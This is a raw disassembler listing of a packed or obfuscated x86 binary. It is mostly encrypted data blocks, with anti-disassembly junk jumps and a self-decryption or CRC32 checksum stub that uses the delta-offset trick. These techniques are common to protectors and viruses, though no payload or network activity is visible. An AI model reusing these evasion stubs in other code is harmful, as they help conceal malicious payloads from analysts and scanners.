0A00D22F3h, 0BC3600F1h, 735B9E2Eh, 48A4C46Bh dd 2D1F4220h, 8E23ACB1h, 4B0189A9h, 0E16A8EA7h, 52BD48CDh dd 0D444F94Eh, 0A07D6CC9h, 286071A4h, 7D6052F3h, 2129FF93h dd 5AC308B4h dd 9CD15A08h, 67A4B011h, 0A70F820h, 822C8158h, 0A36E956Ah dd 507EACE9h, 0F336460h, 0DCE04268h, 20AF08BDh, 436C1680h dd 0C7D66A6Dh, 738484E7h, 91A46135h, 0F1A73879h, 22AC3EF7h dd 5E5FA253h, 68BAAB3Ch, 7EED59E6h, 2BBBB0E5h, 5429CF59h dd 9A48CB8Bh, 0C77E6D6Bh, 5FDC3A15h, 0B4941F1Bh, 415472ACh dd 0E36A9155h, 8E9C3AA9h, 0A1FC06A6h, 0C877AF9Ch, 79ABF574h dd 0D5471A5Dh, 7C568F54h, 4A1B943Ah, 52CB3B49h, 29372240h dd 800C3C53h, 255D5F49h, 18A82527h, 650A4E78h, 42A8C2FCh dd 8B1C6EC8h, 462C74F4h, 0AA8AA241h, 6F8B847Fh, 0B7DBB357h dd 9B70EADh, 0D710673Fh, 6A4AA9AAh, 0AD632F66h, 291E996Ah dd 0A68155A4h, 0C4325019h, 0FE09A967h, 20359B9Bh, 0F9305D70h dd 0D962E2AEh, 0A8BAF6D7h, 350DC1EFh, 0A438A99Fh, 91FDFA11h dd 7F4FF8EAh, 9B78EE1h, 732ED740h, 0E9A55A4Fh, 0D2F5C1E5h dd 0F589CCC5h, 919F225Dh, 804B557Ch, 784F85B4h, 0AE91AFFh dd 0F7763F43h, 101991FEh, 1301E27h, 3321F9CFh, 4479CA1Dh dd 19127115h, 4EE614Eh, 0AB8EEEE5h, 0BDCDDCF9h, 5D5212F9h dd 838C7205h, 8DB44A47h, 0A56D043Ah, 0AEA781CAh, 863E16EEh dd 69F1164Fh, 2363023h, 0ECA1AFDFh, 0ABC3D6A6h, 0CEACC06Eh dd 0DA572E25h, 0E92209CFh, 0B6926FECh, 4844AA4Ch, 687F1740h dd 5C38BCBFh, 0A2A77E3Bh, 4851C940h, 14B25F0Ah, 0A5FF41C9h dd 2D3C41D9h, 3A519CCh, 66F5F6C8h, 4D134F62h, 85017F5Fh dd 3A9E61C4h, 571299Eh, 0A00AD812h, 0DBC869F2h, 28BEA3FCh dd 0B0675802h, 7BAA5F58h, 34808E61h, 5EEB8633h, 0EA5E8F4Dh dd 0C585E843h, 8C32D14Eh, 6D0728AEh, 0CFBD6B3Eh, 0B4444063h dd 42D7527Ch, 0CEABA589h, 0C1646088h, 2064C472h, 6DA901BEh dd 92B1067Bh, 9F875FD0h, 0A2B8E436h, 0EC28EF17h, 0F3A23EF5h dd 93A54A6Dh, 1A275CE8h, 557C838Bh, 7C7EC7C6h, 0A43029F0h dd 95C73D3Ah, 0FF703E2Fh, 32E7FA9h, 0C8D01443h, 2DB5FA11h dd 9BFC8B9Fh, 0F2144499h, 7481C4ECh, 0C2ED9380h, 0D05EFC7Bh dd 869D770Fh, 0E0E78E7h, 47CB119Ah, 0CC21C9ABh, 61CBA84h dd 7AB3A1F4h, 0BD4E99B6h, 0C3E1CD3Eh, 0F3A13A11h, 3EA48260h dd 0B9592E5Bh, 3CDDE827h, 7A926830h, 6CAFAA11h, 7D48D7E5h dd 0E7FDD033h, 32F0219Ch, 0CBB7652Ch, 230241AEh, 0EE1FFD93h dd 484BB288h, 0D0295695h, 25B7C220h, 0A7584936h, 9740CC44h dd 3D4CA637h, 2FD3D170h, 1196195Eh, 3A856543h, 68E29802h dd 0E371F5B1h, 750AB19h, 2E7B475Fh, 18F7BBD0h, 39F994F2h dd 7C8C6A11h, 515D255Ah, 0DDB3A4B0h, 43400B7Fh, 50A19C2Eh dd 3D624549h, 31C3F921h, 645701A5h, 0D2E00A6Ch, 1636517Eh dd 0C4807560h, 0AED1A9F9h, 50F3ED2Fh, 0E1FE25DCh, 2FF36727h dd 0A137C2D7h, 31234C77h, 5A53A7EAh, 16A2063Ah, 398E101h dd 0D1561D10h, 5885DF38h, 702FF2DDh, 2CEFCCD0h, 991A71CCh dd 0C53756AFh, 57EDC1CFh, 0F2DAC6D2h, 52CD6E2Fh, 7A61DBEBh dd 5B6D375Dh, 24FC75C3h, 707A03EDh, 4BEB97F4h, 25821E99h dd 2D4A97CCh, 0A79E8E02h, 0DB77E74Fh, 5F7DC405h, 0A487F350h dd 1EA3DBF5h, 1452DFC6h, 0EB7A640h, 0D1C7FF4h, 79495EB7h dd 0D2779DA7h, 4C30B8EEh, 4F2E7183h, 0BAC17507h, 650A38FAh dd 0EE7F49E7h, 23A68985h, 85463F8Dh, 0B70FE8F6h, 1602F69h dd 75F352ECh, 6C4DF148h, 4B253D8Ah, 28A6019Dh, 2A50981Ch dd 0C50F526h, 0E9357941h, 0EC191C6Eh, 0F8334C20h, 5F349143h dd 0D4ECBD6Ah, 0FFDBEE12h, 6EF4332Fh, 0C724B670h, 5B9AB21Fh dd 53282B7h, 0CA20DB9Eh, 0CF624831h, 0F2ED966Dh, 6A028F68h dd 0BE06814Bh, 0ABA17E91h, 17B25DC5h, 8E50E24Ah, 79EC7BF6h dd 39CE4D0Ch, 0E33C166Eh, 56629D38h, 23D9FD47h, 0DDA1BDDFh dd 0A36BB618h, 5BF86D26h, 58C89A6Bh, 0D9AAC898h, 4A823370h dd 0BCC83433h, 760A8F4Eh, 9EA0441Eh, 927641h, 57E3E47Fh dd 298EAB3Eh, 0B2D1B54Eh, 0BA535938h, 0F8720510h, 0EDAB55EAh dd 0DD916264h, 6E39380Fh, 0C63DEE80h, 0C31B5B04h, 36E4DFA6h dd 0DFA8E910h, 0DEA7DEF3h, 2C73BDFCh, 0CA99919Eh, 0B3F8C094h dd 0DCEE59EBh, 20D1F627h, 9AC57D2Ah, 2B8ABA46h, 0A8FE991h dd 8DD1A7Bh, 66B78A87h, 1E23FD63h, 0F551756Eh, 47D5F158h dd 1C222FACh, 0DA8C6378h, 90E6B57h, 5678C2F9h, 9B1AA213h dd 0F709E0E5h, 0F973C997h, 0CBAD2488h, 0A7504184h, 42305A8Ch dd 33BFE8D1h, 6733FC75h, 8B3C12F5h, 753A990Bh, 18AF7094h dd 4ECEC5DCh, 41815828h, 8007422h, 5376C061h, 0A796A80Ch dd 0CD38CCDEh, 0AAC8169Fh, 0FA45119h, 117993F5h, 8282B282h dd 5076CEB7h, 596FF250h, 0F13A1865h, 3E149A30h, 15E7C134h dd 0A86BED01h, 14252970h, 4C91CA9Eh, 4875D575h, 369999E3h dd 0C88F5E50h, 15BBCE01h, 8E9873A3h, 0F28695FDh, 96C9F327h dd 8142DAF3h, 95DA6B28h, 730885C6h, 8BE5BA8Fh, 71842960h dd 0E27CBC0Ah, 9C686D70h, 0B2EBF5C6h, 7CB3E0D0h, 0EBF9CB4Ch dd 5618E61Fh, 350B9EBEh, 2DFB9B50h, 0E23EE133h, 0FEAD8165h dd 2856BD65h, 85A0722Ch, 4FA2C4C7h, 0E86C253Bh, 1B4A039Ah dd 7DC73C1Bh, 0F7B25B74h, 370CBC12h, 8E7E3668h, 3FE8E079h dd 0B3CD9061h, 8963BC2Ah, 0D08389F1h, 0F361AB38h, 0D82FCD75h dd 71D6A0C1h, 65DB0F6Dh, 894DCB19h, 0EA4089F3h, 0B4609C1h dd 0CCC20396h, 77E16265h, 0BC5A7861h, 0A9431973h, 0BD0D6B81h dd 0AF77C3EDh, 5E6E5F62h, 33A45914h, 38E3DEE4h, 0C6390852h dd 20C4C599h, 0B8B933A8h, 0A9200A39h, 22FA4D3h, 410AB789h dd 0B1F5F6F2h, 0CE3167D7h, 0A2D49799h, 0A99F68Bh, 4B87B048h dd 557E0385h, 5FCFB298h, 662E4536h, 7B7796D9h, 0AD9453C9h dd 74A60AD1h, 147AEBF3h, 0BB34FF99h, 0D0955A82h, 0B9EA4486h dd 71DB2E9Bh, 0E5CFDDB5h, 0A1104F32h, 29D49891h, 0A2CE2E6Bh dd 915F5358h, 270CB4DFh, 0CE070ECEh, 2D53BA15h, 8CC2064Fh dd 0F067982Dh, 0F074E71Ch, 0B355DD08h, 0CAF6D4AEh, 53401F5Ch dd 9718997Ch, 0E95916FEh, 0E7436C47h, 82251D98h, 0AA726DC6h dd 0CF980640h, 655B0BF5h, 2B8CB869h, 0BD55F5AEh, 1E7D2F31h dd 43B19528h, 0EDB391F3h, 1F39996Bh, 5B701443h, 0D9CF4766h dd 10521BE9h, 9042AF47h, 0A0C3EE3Ah, 6D3C15A1h, 0CC21FA0Fh dd 0EA924915h, 6869537Bh, 0DC9DB45h, 2D33CEDFh, 1097C67h dd 0C7C2B97Eh, 655E5EEEh, 0D6B53EB8h, 46CD718Ah, 6E55EB17h dd 0BA5138A8h, 87003318h, 6806140Bh, 7CC18580h, 81396E71h dd 0AD59B331h, 0CC2E57ABh, 0C902C043h, 0D45BAFF3h, 0D63AB7E8h dd 88FFDBD4h, 9A3F490Eh, 7AE7F71Dh, 7BB8C136h, 0A301C1C0h dd 0F4D12AEh, 524C0D56h, 4759F47Fh, 9D8F457Ah, 0F3ED88Dh dd 1C1599A8h, 83A3314h, 7F8204D7h, 0E2E42C21h, 0EDC974CEh dd 30C9DB4Eh, 9BE67C5h, 502FC59Eh, 5E1FA63Ch, 787F7684h dd 9744EBF8h, 54678A01h, 6640E06Ch, 464A7646h, 3DB0473Bh dd 0C1D097A0h, 1F70F9B1h, 0E7B19F90h, 430F7234h, 28073072h dd 49CA5035h, 120A0E46h, 0AE61AB80h, 22150F8Bh, 2825C1D0h dd 15E38893h, 0CB3C56AAh, 0FA02942Fh, 4864462h, 8EBFC802h dd 4A2901Bh, 6BE63F4Ah, 0C275338Eh, 0C7F1B423h, 83ECBC61h dd 46233266h, 0ACFA11BEh, 1034764Eh, 0B352339Ah, 8B88107Fh dd 4B99E4ABh, 4F09DFCDh dd 96BE405h, 479225DBh, 0F9763E12h, 77CCCAACh, 9E9F67C4h dd 2C1EE37h, 59E51B2Eh, 27BF1E2Ch, 62AAAA8h, 0EE87BA7Ch dd 63A4780Dh, 3B255176h, 914F8B5Dh, 618AB85Fh, 0B9AC3F2Fh dd 0D76CCA57h, 0D63CDD6Ch, 0E440AEB7h, 7BE508E9h, 0BF5BC0E7h dd 0D3D8FE34h, 0DC440444h, 0CED6653Dh, 0A8E3F610h, 1BB1ECAAh dd 467728FAh, 5878E49Ah, 0AC9E3537h, 0EE843953h, 2FFD02F7h dd 0BDF17A18h, 9200FFA8h, 9781560Ch, 68B2402Bh, 733E24CCh dd 33649121h, 78B106F6h, 9BA0087Fh, 0F7139316h, 6584DA5Fh dd 0B4F7B701h, 503C9B33h, 8D0BC204h, 853E7C6Dh, 0B01B9C39h dd 0AFF21E41h, 2CE7B503h, 2979007Ch, 9E05020Ch, 338BBF0Eh dd 9014BEFDh, 0B1E6736Dh, 0CA5EAAEAh, 1EEB8644h, 87022B99h dd 0CB75488Ch, 0B67F7E4Eh, 297FA6E5h, 0E666798Fh, 197E47A8h dd 0D90FAD5Ch, 27491BE2h, 0DE7EEE70h, 59A4872h, 0B21BD5D5h dd 4F861C1Fh, 0ADE7E04Eh, 7F7B34A5h, 4345D09Dh, 0FFDAB455h dd 3BE6086Eh, 895E6DD7h, 25637BC7h, 2352C821h, 9595BB49h dd 2F0C6F4Bh, 0A2B9326Dh, 0E50031BAh, 2BCF6A6Ch, 47D55DA4h dd 6742FEE2h, 3E57418Dh, 1A0DF2A4h, 0AE056336h, 68A2069Ah dd 2D7170CCh, 0DE8E44F9h, 221FE960h, 0C2A0CA88h, 0AD78CBF2h dd 24CB7E5h, 0EA5100D8h, 9C5A0996h, 8A01528Eh, 10554DF4h dd 3CF14593h, 0E166D8CFh, 0FF5D7D32h, 4D28B005h, 0A60B76EFh dd 0BB126A13h, 8C6263D3h, 928796C2h, 0CF596C35h, 0C8186435h dd 0D9172C91h, 7291213Dh, 729F5CE5h, 13D0BE74h, 0CA8CEAE7h dd 0FEEB10A0h, 0A9B4B615h, 8EEFFEDDh, 0F08FD01Ah, 63AB5666h dd 2A6FDC94h, 0A5D3CA6Dh, 4CF6B902h, 6FE339FFh, 69BE484Ch dd 0EE6D3FEBh, 56B7B206h, 0CF0B0F88h, 27F42B5Eh, 0BB9852A4h dd 259A7C8Fh, 3617A4A0h, 0AB40A4D3h, 0F41DA3Fh, 1F189181h dd 6D446AB1h, 0A8BBC5E8h, 8E433573h, 0F5524CFFh, 7B410B9Eh dd 19ED152Fh, 8A497684h, 4E1D9F31h, 868EF7D8h, 409CA25Ch dd 767333F8h, 839E6503h, 381169CCh, 0E5BD13A8h, 400014F5h dd 0BB84699Fh, 46DC1A23h, 38232B55h, 74B8CAFCh, 3735CC15h dd 29B739EEh, 65A03F3Ch, 0EF9E7277h, 0D5E3DED5h, 7D75D289h dd 6045848Ch, 3C81E80Eh, 7F76272Eh, 0EE94163Fh, 94FC644Ch dd 160CD528h, 128D63B4h, 45399E2Bh, 0DD222F88h, 0BCA3F2C4h dd 0A4BAFC80h, 0B49551E6h, 94D47C97h, 93CB6600h, 0BDD3B2EDh dd 5ABB889Fh, 0DEF76EE3h, 78FE0AEDh, 0B070E473h, 1B70FFF3h dd 740E059Ah, 6F48A005h ; --------------------------------------------------------------------------- jnb short loc_46BC60 pop ebx loc_46BBFB: ; CODE XREF: DMN1:0046CA9Aj popa pop ebp jmp loc_469C00 ; --------------------------------------------------------------------------- dw 0EFA6h dd 26BD6418h, 0A41F2B16h, 0EE08660Ah, 767FE731h, 50909EC8h dd 56999F79h, 78BBA6EEh, 343D9B2h, 2E9FCBCh, 43DE0A39h dd 1BCD805Bh, 6953227Ah, 0B6E37F85h, 0C982F540h, 0DF20A3D0h dd 0DB334213h, 78C11EA6h, 0C0BD6842h, 594DF63h, 35EFD33Bh dd 0DB42A3B9h, 2FCBD189h, 8271CE38h ; --------------------------------------------------------------------------- loc_46BC60: ; CODE XREF: DMN1:0046BBF8j rcr dword ptr [ebx+3AFE85E8h], 36h ; --------------------------------------------------------------------------- db 8Fh dd 0E8D60792h, 0C284FE56h, 57C65E80h, 0A04A5F6Ah, 71249045h dd 0A082545Eh, 0D7302976h, 5C54C303h, 7CE394Bh, 112F9015h dd 962BA16Eh, 0E29423ACh, 0FEA3253Ch, 5D186B7Ch, 0B27C0F71h dd 0F57BAFE7h, 0EE437B7Ch, 504C16F7h, 0C8578804h, 369E1753h dd 5BB581DCh, 55ABF0B4h, 0E07BDFE3h, 3BB0633Ch, 0F170D1AEh dd 8E2EB7C5h, 9AAD4D84h, 6D3CF5ACh, 0D5ECAF47h, 0F3AD038Bh dd 0E5CCF78Ah, 6AF720DBh, 0A191EE23h, 622C628Eh, 4AC28E87h dd 3781E883h, 0C6500D0h, 0AC3E9C9Dh, 74E23833h, 0E1EB6104h dd 0D1BE30E8h, 1C8A9527h, 4798EA9Fh, 63B7E11Dh, 6667B259h dd 228B16C8h, 0B9300BD7h, 0BA971019h, 2D62656Bh, 0E0903218h dd 79CA3865h, 0BC2A6D6Fh, 2E655F92h, 8202602Ah, 0A0DF0A3Eh dd 0BD490D24h, 1DCE01C6h, 0C130AD39h, 0C853E9B7h, 0D9BA6166h dd 603F23A7h, 76309E73h, 92E623A9h, 4AD0C311h, 0A9971E76h dd 0EF7F9E51h, 0CD27229Eh, 352D4319h, 0FC4F1A9Bh, 7699E75Eh dd 8237A674h, 0B1A234F7h, 705A9F2Fh, 0B9992272h, 0ACB5CC4Dh dd 0A15719FEh, 45B220B5h, 35021EFEh, 0ABA700FAh, 10AB700Eh dd 52CB181Bh, 31290DDCh, 0AA37DE71h, 4DCF1DA0h, 0A124F556h dd 6452F1C5h, 0D55C256Dh, 292B079Bh, 976D4EA9h, 0DC0886EAh dd 0EE03D129h, 0A16AE90Dh, 42623E0Dh, 5B65A01Ah, 0D105E102h dd 0DAA17D67h, 56D6942h, 76907082h, 8347162Bh, 123AE3A3h dd 46C85A34h, 7D694A28h, 503D02B2h, 42DA52FFh, 0E504B98Fh dd 2CF9A07Eh, 85716725h, 93B0CDBBh, 7C6BBCDBh, 52A8B32Dh dd 0CFB43CB8h, 3D3D57A6h, 0CD5C8DD1h, 8E95F5E4h, 96847C11h dd 4A01A3E4h, 45222C5Bh, 466832A5h, 7D829615h, 0A8FDD04Ch dd 5EAC38F9h, 5AF0E632h, 45FC83ACh, 0B209EDE6h, 1BBC96BFh dd 201A1438h, 9E99C6A2h, 0F1C1465Eh, 2E0FFAEh, 33AC5D7h dd 8DA542Eh, 0AD002BAEh, 30CDB1BFh, 0B858EAC7h, 0F0E77BB2h dd 16B5C0h, 31CBBD5Ch, 0FC884072h, 0AE75A1CFh, 3168121Ch dd 5EBB0829h, 342D9E3h, 0AFF9E9D0h, 8611EF4Eh, 0E8E25930h dd 0F2176B6Dh, 0A7EE0ED0h, 94B0A216h, 5DABE2D8h, 7A257D4Eh dd 62DD079Eh, 8686D7C6h, 130EE652h, 0C404D84Fh, 0D0D801F6h dd 13BA2B46h, 0E931484Dh, 0DE99771Ah, 0DE68C7C6h, 59D49059h dd 5052EC01h, 0F18EEE58h, 96A76044h, 34C3BE3h, 0AEB3ED45h dd 0EDD20F8Fh, 0D56BD99Dh, 58FE7BE0h, 812C5E34h, 0DC56D952h dd 845B6BD5h, 6373FE58h, 5973B7D6h, 14DC57D0h, 88C5B91Eh dd 46F1ACEDh, 9C776E5Ah, 0BC491CB6h, 7F0C3275h, 51E3FB65h dd 787AE6D8h, 6493A00Fh, 2E132479h, 0D2B821C3h, 0BF8F1CF4h dd 0DCD17045h, 0F3609D7Bh, 0F855E086h, 0E6E6F05Ah, 7C7D221Bh dd 44AF1D48h, 0B13C3AE7h, 0C54D4364h, 198C1249h, 0FA90F1ECh dd 45A57774h, 24D9341Eh, 3D98670Ah, 69A5B8BEh, 0C15ECC73h dd 9C9DE927h, 0A60E27A6h, 9C9A2256h, 0E973C0AEh, 0F34C5408h dd 0AC85E9F8h, 876B309Dh, 70AB61B1h, 4D33B09Dh, 1FA8AF30h dd 8492DF0h, 6BD809F2h, 6183FE55h, 0DDD8F77Bh, 2E75604Dh dd 383D64CAh, 0D956ACA0h, 0C0C9FB34h, 0CC8BBE2Eh, 0EAF49D6Ah dd 0BDBCE2A4h, 8D742E11h, 0FED27AA1h, 0C22499DAh, 28A80712h dd 3413028Bh, 5320A151h, 0FE3E946Ah, 0FA25233Ch, 5F8145E8h dd 0DB301FE3h, 0C2D1B668h, 0A4F6463Bh, 1429064Fh, 0CEDDCECEh dd 0C2926936h, 53D11310h, 0FC19036Ch, 64389255h, 0AC86F83Eh dd 0B5B50947h, 4E843591h, 0CFB695AFh, 0CB28D9B8h, 0D14FD4F9h dd 267981C2h, 49DC6CE3h, 0EE251A39h, 4FECD0AEh, 0B5EDBE78h dd 0CC73E13Ch, 59EF024Ah, 0BEB7495Bh, 0C1EA00EEh, 0AEFC7C9Ch dd 3C264B10h, 78EFC5F5h, 0AC168E91h, 0F3D558DBh, 21141194h dd 78F6CE7Ch, 938634EEh, 0BCE063E3h, 91C0A0C2h, 0D873A678h dd 60758FD8h, 2650CE7Ch, 0A1DFCEF5h ; --------------------------------------------------------------------------- mov bh, 38h dec edi loc_46C09B: ; CODE XREF: DMN1:0046CAA1j push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6C0A3h pusha mov esi, 6C09Bh add esi, ebp mov edi, 0A04h push ebx push ecx push edx push esi push edi cld xor ecx, ecx dec ecx mov edx, ecx push ebx loc_46C0C3: ; CODE XREF: DMN1:0046C0ECj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_46C0D2: ; CODE XREF: DMN1:0046C0E5j shr bx, 1 rcr ax, 1 jnb short loc_46C0E3 xor ax, 8320h xor bx, 0EDB8h loc_46C0E3: ; CODE XREF: DMN1:0046C0D8j dec dh jnz short loc_46C0D2 xor ecx, eax xor edx, ebx dec edi jnz short loc_46C0C3 pop ebx not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edi pop esi pop edx pop ecx pop ebx push eax std xchg ebp, ecx jmp short loc_46C116 ; --------------------------------------------------------------------------- dw 14C1h dd 907C5DB2h, 40FACFF0h, 0A21BBC72h db 1, 80h ; --------------------------------------------------------------------------- loc_46C116: ; CODE XREF: DMN1:0046C104j jmp short loc_46C12B ; --------------------------------------------------------------------------- dd 0FE387B40h, 4AA90D22h, 0DED37930h, 0E40A1BBAh db 62h, 7Ch, 0DBh ; --------------------------------------------------------------------------- loc_46C12B: ; CODE XREF: DMN1:loc_46C116j or eax, 0FFFFFFFFh jmp short loc_46C142 ; --------------------------------------------------------------------------- dd 0DDE20AD2h, 170CE4A7h, 0EB112469h, 0F2CE5799h ; --------------------------------------------------------------------------- mov bl, al loc_46C142: ; CODE XREF: DMN1:0046C12Ej jmp short loc_46C150 ; --------------------------------------------------------------------------- xchg eax, edx mov eax, ds:2144D4ECh adc eax, [edi+2373A3CAh] loc_46C150: ; CODE XREF: DMN1:loc_46C142j jmp short loc_46C158 ; --------------------------------------------------------------------------- dw 0C4E2h dd 0C17A7C6Ch ; --------------------------------------------------------------------------- loc_46C158: ; CODE XREF: DMN1:loc_46C150j bswap esi bswap edi jmp short loc_46C173 ; --------------------------------------------------------------------------- dw 38A3h dd 5D1BD2BFh, 89E94E78h, 48DAD6F0h, 0B26D4031h db 90h db 0E3h, 0B2h ; --------------------------------------------------------------------------- loc_46C173: ; CODE XREF: DMN1:0046C15Cj jmp short loc_46C183 ; --------------------------------------------------------------------------- db 75h, 12h, 2Dh dd 3DE3F09Fh, 1FB3A69Ah db 4Bh, 69h, 0A7h ; --------------------------------------------------------------------------- loc_46C183: ; CODE XREF: DMN1:loc_46C173j jmp short loc_46C19D ; --------------------------------------------------------------------------- db 13h, 0A2h, 93h dd 46494A69h, 7AC6E27Ch, 0E66BA629h, 64E2233h, 8C35D702h db 7Fh ; --------------------------------------------------------------------------- loc_46C19D: ; CODE XREF: DMN1:loc_46C183j jmp short loc_46C1A4 ; --------------------------------------------------------------------------- icebp ror dword ptr [eax+1Bh], cl dec ecx loc_46C1A4: ; CODE XREF: DMN1:loc_46C19Dj jmp short loc_46C1BC ; --------------------------------------------------------------------------- dw 0C371h dd 0B76A2DEFh, 509E647Dh, 0FEAB7A9Fh, 0FD683922h, 0EA5A987Dh ; --------------------------------------------------------------------------- loc_46C1BC: ; CODE XREF: DMN1:loc_46C1A4j jmp short loc_46C1DA ; --------------------------------------------------------------------------- dw 37F6h dd 7B6DB8B1h, 894F95DFh, 6FFCE117h, 50010590h, 7C310413h dd 84FA6211h db 68h, 0Ah ; --------------------------------------------------------------------------- loc_46C1DA: ; CODE XREF: DMN1:loc_46C1BCj inc eax jmp short loc_46C1E7 ; --------------------------------------------------------------------------- db 5Fh, 0A2h, 9 dd 9F6F90F1h db 89h, 0ADh, 10h ; --------------------------------------------------------------------------- loc_46C1E7: ; CODE XREF: DMN1:0046C1DBj jmp short loc_46C1F5 ; --------------------------------------------------------------------------- sbb [ebx], eax db 36h mov edi, 17D705DDh clc db 26h or edx, edx loc_46C1F5: ; CODE XREF: DMN1:loc_46C1E7j cld xchg esi, ebx jmp short loc_46C215 ; --------------------------------------------------------------------------- dw 476Ah dd 3B0EC94Dh, 3E709ABDh, 60B876E9h, 472B9349h, 0F622FD0Bh dd 4FE1922Ch db 0A2h ; --------------------------------------------------------------------------- loc_46C215: ; CODE XREF: DMN1:0046C1F8j jmp short loc_46C224 ; --------------------------------------------------------------------------- db 0D2h dd 9709715Fh, 0B199D59Dh, 0D0BEBD12h ; --------------------------------------------------------------------------- loc_46C224: ; CODE XREF: DMN1:loc_46C215j stc jmp short loc_46C241 ; --------------------------------------------------------------------------- db 86h dd 317080D5h, 0E4499CABh, 6E20CF11h, 86FFA4D1h, 0C749C4D0h dd 9E4F7C0Ah ; --------------------------------------------------------------------------- dec ebp loc_46C241: ; CODE XREF: DMN1:0046C225j cmc cmc jmp short loc_46C254 ; --------------------------------------------------------------------------- mov ch, 0F0h push ecx test ds:90625CF6h, cl xchg ecx, [ecx-5EC2D8CEh] loc_46C254: ; CODE XREF: DMN1:0046C243j jmp short loc_46C25F ; --------------------------------------------------------------------------- dw 7F7Ch dd 841A8F97h db 51h, 68h, 61h ; --------------------------------------------------------------------------- loc_46C25F: ; CODE XREF: DMN1:loc_46C254j xchg ecx, ebp xor eax, 41000h xchg esp, ecx bswap ebx jmp short loc_46C27D ; --------------------------------------------------------------------------- db 45h, 7Fh, 0C4h dd 7C0BF96Eh, 5C1A57A5h, 60C02FC2h ; --------------------------------------------------------------------------- push ebx loc_46C27D: ; CODE XREF: DMN1:0046C26Bj mov esi, 0ABA8h loc_46C282: ; CODE XREF: DMN1:0046C9B6j test ebx, 861D79B0h rcl esp, cl cmc jmp short loc_46C2A2 ; --------------------------------------------------------------------------- db 0AFh, 5Eh, 24h dd 0A4456584h, 5F0A0A07h, 4C2F37C0h, 6C8C5A8Eh ; --------------------------------------------------------------------------- jns short loc_46C2F6 loc_46C2A2: ; CODE XREF: DMN1:0046C28Bj jmp short loc_46C2BE ; --------------------------------------------------------------------------- dd 9B8C3204h, 331876AFh, 655ECEB2h, 10AF68B5h, 0E6F88678h dd 5D0EB89Ch db 0BFh, 0CCh ; --------------------------------------------------------------------------- loc_46C2BE: ; CODE XREF: DMN1:loc_46C2A2j jmp short loc_46C2C3 ; --------------------------------------------------------------------------- aad 51h stosd loc_46C2C3: ; CODE XREF: DMN1:loc_46C2BEj jmp short loc_46C2C9 ; --------------------------------------------------------------------------- db 2Fh, 0A3h, 36h db 0A9h ; --------------------------------------------------------------------------- loc_46C2C9: ; CODE XREF: DMN1:loc_46C2C3j cmc jmp short loc_46C2E0 ; --------------------------------------------------------------------------- dd 69B1A29Bh, 0F2F4D7CAh, 80A11926h, 349F16FCh, 0AF95B24Ch ; --------------------------------------------------------------------------- loc_46C2E0: ; CODE XREF: DMN1:0046C2CAj jmp short loc_46C2F1 ; --------------------------------------------------------------------------- dw 0D610h dd 0B30F8FE7h, 6C4E5D31h, 0AE5764E2h ; --------------------------------------------------------------------------- inc ebp loc_46C2F1: ; CODE XREF: DMN1:loc_46C2E0j jmp short loc_46C2F6 ; --------------------------------------------------------------------------- db 9Ah ; --------------------------------------------------------------------------- pop esp pop ecx loc_46C2F6: ; CODE XREF: DMN1:0046C2A0j ; DMN1:loc_46C2F1j jmp short loc_46C2F9 ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_46C2F9: ; CODE XREF: DMN1:loc_46C2F6j ; DMN1:0046C326j jmp short loc_46C30F ; --------------------------------------------------------------------------- db 76h dd 599A9E55h, 8824CF95h, 3C4973D3h, 49E6342Ah ; --------------------------------------------------------------------------- ja short loc_46C354 push cs loc_46C30F: ; CODE XREF: DMN1:loc_46C2F9j std jmp short loc_46C321 ; --------------------------------------------------------------------------- sub bh, dh fdivr st(7), st mul bh imul ebp, [edx-2Bh], 6061319Ah cmpsb push ecx loc_46C321: ; CODE XREF: DMN1:0046C310j xchg edx, eax jmp short loc_46C344 ; --------------------------------------------------------------------------- dec ebx jmp short loc_46C2F9 ; --------------------------------------------------------------------------- dd 2FFCBB14h, 4D9955CEh, 0EF10EE22h, 676954DBh, 3C9CD24Ch dd 7D70C724h, 0FFDADF5Bh ; --------------------------------------------------------------------------- loc_46C344: ; CODE XREF: DMN1:0046C323j jmp short loc_46C349 ; --------------------------------------------------------------------------- stc neg dword ptr [edx] loc_46C349: ; CODE XREF: DMN1:loc_46C344j test eax, 31273221h dec edi mov edi, ebp clc std loc_46C354: ; CODE XREF: DMN1:0046C30Cj shr eax, 26h std jmp short loc_46C370 ; --------------------------------------------------------------------------- xchg eax, esp test dword ptr [edi], 1F64AA87h mov esp, 6CE596Eh fisttp dword ptr [edx+2DC8FE01h] scasb lahf dec esp xchg eax, ebp loc_46C370: ; CODE XREF: DMN1:0046C358j xchg eax, ebx jmp short loc_46C379 ; --------------------------------------------------------------------------- dd 0E7549963h ; --------------------------------------------------------------------------- stosd loc_46C379: ; CODE XREF: DMN1:0046C372j jmp short loc_46C38F ; --------------------------------------------------------------------------- db 2Ah dd 304748D2h, 0BE73857Ah, 62192C82h, 86CB6EBCh db 87h, 0A4h, 0B3h ; --------------------------------------------------------------------------- loc_46C38F: ; CODE XREF: DMN1:loc_46C379j cld xchg esi, ebp xchg esp, esp jmp short loc_46C3A0 ; --------------------------------------------------------------------------- dw 5B5Ah dd 0FB5A375Ch, 30F9677Fh ; --------------------------------------------------------------------------- loc_46C3A0: ; CODE XREF: DMN1:0046C394j jmp short loc_46C3A4 ; --------------------------------------------------------------------------- dw 968Ch ; --------------------------------------------------------------------------- loc_46C3A4: ; CODE XREF: DMN1:loc_46C3A0j jmp short loc_46C3C2 ; --------------------------------------------------------------------------- dw 7AE0h dd 0FAE2272Bh, 33A956A8h, 0BEF42264h, 915507B3h, 92158024h dd 959AD465h db 91h, 0E7h ; --------------------------------------------------------------------------- loc_46C3C2: ; CODE XREF: DMN1:loc_46C3A4j jmp short loc_46C3C6 ; --------------------------------------------------------------------------- adc al, 0ABh loc_46C3C6: ; CODE XREF: DMN1:loc_46C3C2j add edi, edx test ebx, 0FE2F3D93h jmp short loc_46C3EE ; --------------------------------------------------------------------------- dd 5534FE0Bh, 627D3EC8h, 0EB2D6AF3h, 0C60AA2BBh, 4FC90441h dd 7D435DE4h, 3A901071h db 0E0h, 0FBh ; --------------------------------------------------------------------------- loc_46C3EE: ; CODE XREF: DMN1:0046C3CEj xchg esi, esp jmp short loc_46C406 ; --------------------------------------------------------------------------- dw 0BC8Fh dd 2CBA85A3h, 0B2F1D041h, 695FBFC7h, 0A31E9EC8h ; 